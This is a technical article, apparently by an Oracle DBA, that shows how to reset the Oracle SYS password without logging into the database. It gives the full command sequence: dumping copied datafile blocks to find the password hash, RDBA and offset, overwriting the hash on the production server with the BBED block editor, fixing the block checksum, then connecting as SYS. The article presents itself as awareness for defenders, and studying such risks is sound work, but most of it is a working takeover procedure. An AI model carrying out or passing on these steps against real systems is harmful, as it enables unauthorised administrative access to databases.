"Fixing" SYS for hacking purposes

How to change Oracle SYS password without having to login into a database? Possible? Yes. All you need is some knowledge about Oracle internals.

This document is to be used only for testing purposes and not to be used in production environment. Purpose is to show audience how hackers can gain access to your system without knowing it and how to prevent it.

As I said earlier I am not going to use SQL to access production database. In order to get necessary information about SYS user I will copy production system datafile to my test server using rcp, sftp or any other utility (assumption here is that we already have gained access to database server).

Using my test Oracle instance and alter system dump datafile command I will get formatted dump datafile.
Dumping more blocks at once will speed up the whole process since I do not know which Oracle block has password hash value for user SYS.

Command used to dump more blocks at once :

alter system dump datafile <file_name> **block min** <first block > **block max** <last block >;

Eg.
alter system dump datafile '/ora-main/oradata/test/data/system_01.dbf' block min 1 block max 60;

Dump can be performed with instance in nomunt state and trace file will be located under user dump directory.

NOTE: For more information on Oracle dumps, please check my previous paper named " Oradebug – Undocumented Oracle Utility ".

Formatted dump has all values needed to modify current SYS password on production server. We need three values below:

1) PASSWORD HASH VALUE

2) RDBA

Each block of an Oracle data file is formatted with a fixed header that contains information about the particular block. This information provides a means to ensure the integrity for each block and in turn, the entire Oracle database. One component of the fixed header of a data block is called a Relative

Data Block Address (DBA). This DBA is a 4 bytes that stores the relative file number of the Oracle database file and the Oracle block number offset relative to the beginning of the file. (Presley, 1993).

How RDBA is mapped:

e.g.

rdba: 0x0b52fbf6 (45/1244150)
Bin mode representation of these numbers might give you a clue:

0b52fbf6 10110101001011111101111110110
1244150 10010111101111110110
45 101101

3) OFFSET - The offset is relative to the block already set.

I am not going into great details how to find these values. There is a way to do it and all you need knowledge about Oracle internals but do not try it unless you know what are you doing.

Here is excerpt from formatted block. Important values are highlighted:

---

buffer rdba: 0x00400036 **(1/54)** **RDBA**
scn: 0x0000.00070afd seq: 0x01 flg: 0x06 tail: 0x0afd0601
frmt: 0x02 chkval: 0x97e0 type: 0x06=trans data

---

tab 1, row 1, @**0x18f5 - OFFSET**
col 1: [2] c1 02
col 2: [16] **34 44 45 34 32 37 39 35 45 36 36 31 31 37 41 45** (Password hash value)
col 3: [1] 80
col 4: [1] 80
col 5: [7] 78 69 0b 0a 11 19 2a
col 6: [7] 78 69 0c 1b 11 09 03
col 7: *NULL*
col 8: *NULL*
col 9: [1] 80
col 10: *NULL*
col 11: [2] c1 02

It’s time to pick a new SYS password. Again, using my test database I will generate new password hash value.

SQL> alter user sys identified by testpass;

User altered.

SQL> select password from dba_users where username='SYS';

PASSWORD

E2A109347F6C7832

This hash value will be used for a new password.
You all know the trick how to temporary change user password and return it back using same password hash value:

e.g. alter user sys identified by values ‘**E2A109347F6C7832’;**

Big question left: how to change password hash value on production database server without having to login into a database? In this case my choice is BBED (Block Browser Editor). This is Oracle internal tool used to modify data blocks. It has been around for a while. It’s still there in release 10.2. BBED is password protected but unfortunately with a very weak password.

More information about this tool you can find in a reference [2] .

The following scenario is happening on production database server.

Login into BBED:

BBED> info
File# Name Size(blks)
----- ---- ----------
1 /ora-main/oradata/test/data/system_01.dbf 256004

The RDBA, offset and password hash value is already known.

BBED> **set file 1**
FILE# 1

BBED> **set block 54**
BLOCK# 54

BBED> **set offset 6389**
OFFSET 6389

BBED> p kdbr
sb2 kdbr[0] @118 8074
sb2 kdbr[1] @120 8009

---
sb2 kdbr[20] @158 5965
sb2 kdbr[21] @160 8030
sb2 kdbr[22] @162 **6389 - offset (0x18f5)**
sb2 kdbr[23] @164 7838

BBED> **p*kdbr[22]**
rowdata[561]
---
ub1 rowdata[561] @6481 0x6c

BBED> **x/r**
rowdata[561] @6481
---
flag@6481: 0x6c (KDRHFL, KDRHFF, KDRHFH, KDRHFC)
lock@6482: 0x00
cols@6483: 17
ckix@6484: 1

col 1[2] @6489: 0xc1 0x02
col 2[16] @6492: 0x34 0x44 0x45 0x34 0x32 0x37 0x39 0x35 0x45 0x36
0x36 0x31 0x31 0x37 0x41 0x45
col 3[1] @6509: 0x80
col 4[1] @6511: 0x80
col 5[7] @6513: 0x78 0x69 0x0b 0x0a 0x11 0x19 0x2a
col 6[7] @6521: 0x78 0x69 0x0c 0x1b 0x11 0x09 0x03

BBED> **x/rn2cntn (this command will show rows)**
rowdata[561] @6481
---

flag@6481: 0x6c (KDRHFL, KDRHFF, KDRHFH, KDRHFC)
lock@6482: 0x00
cols@6483: 17
ckix@6484: 1

col 1[2] @6489: Á.
col 2[16] @6492: **4DE42795E66117AE (34 44 45 34 32 37 39 35 45 36 36 31 31 37 41 45**
col 3[1] @6509: 0
col 4[1] @6511: 0x80
col 5[7] @6513: -0
col 6[7] @6521: -0

Dump file to be sure that you are editing correct data:

BBED> **dump/v dba 1,54 offset 6389 count 150**
File: /ora-main/oradata/test/data/system_01.dbf (1)
Block: 54 Offsets: 6389 to 6538 Dba:0x00400036

01800180 0778690b 160f3a11 ffffff01 80ff02c1 02ffff01 80018016 44454641 l
.....xi...:.....Á.....DEFA554c545f 434f4e53 554d4552 5f47524f 5550ac00 01000100
01004000 36001000 l ULT_CONSUMER_GROUP¬.....@.6...40003600 1002c111
6c000705 01800180 03c20346 01800180 01800180 6c001101 l@.6...Á.l.....Â.F.....l...
03535953 02c10210 34444534 32373935 45363631 31374145 01800180 0778690b l
.SYS.Á..**4DE42795E66117AE**.....xi.0a11192a 0778690c 1b110903 ffff0180 ff02c102

Find correct offset:

BBED> **find /c 4DE42795E66117AE**
File: /ora-main/oradata/test/data/testsystem_01.dbf (1)
Block: 54 Offsets: **6493** to 6508 Dba:0x00400036

34444534 32373935 45363631 31374145

<48 bytes per line>

Offset for a this string is 6493.One more checkup before modifying:

BBED> **dump/v dba 1,54 offset 6493 count 16**
File: /ora-main/oradata/test/data/testsystem_01.dbf (1)
Block: 54 Offsets: 6493 to 6508 Dba:0x00400036

34444534 32373935 45363631 31374145 l **4DE42795E66117AE**

Now I am positive that this is an offset that needs to be modified.

I will modify block using password hash value (**E2A109347F6C7832)** previously generated on my test database;

BBED> **modify/c E2A109347F6C7832 dba 1,54 offset 6493**
Warning: contents of previous BIFILE will be lost. Proceed? (Y/N) y
File: /ora-main/oradata/test/data/testsystem_01.dbf (1)
Block: 54 Offsets: 6493 to 6508 Dba:0x00400036

45324131 30393334 37463643 37383332

Dump block to acknowledge change:

BBED> **dump/v dba 1,54 offset 6493 count 16**
File: /ora-main/oradata/test/data/testsystem_01.dbf (1)
Block: 54 Offsets: 6493 to 6508 Dba:0x00400036

45324131 30393334 37463643 37383332 l **E2A109347F6C7832**

Change is there. And finally apply changes to the block:

BBED> **sum dba 1,54**
Check value for File 1, Block 54:
current = 0x97e0, required = 0x919b

BBED> **sum dba 1,54 apply**
Check value for File 1, Block 54:
current = 0x919b, required = 0x919b

It's time to test new password. Login into production database using new password:

SQL> conn sys/testpass
Connected.

And select confirms new password hash value:

SQL> select password from dba_users where username='SYS';

PASSWORD

E2A109347F6C7832

Conclusion

To conclude, to damage you production system hacker can use power of BBED in combination with knowledge of Oracle internals. Hopefully Oracle will better protect access to this tool or completely remove from future releases.

References

[1] Oradebug – Undocumented Oracle Utility - Miladin Modrakovic

[2] Disassembling the Oracle Date Block - Graham Thornton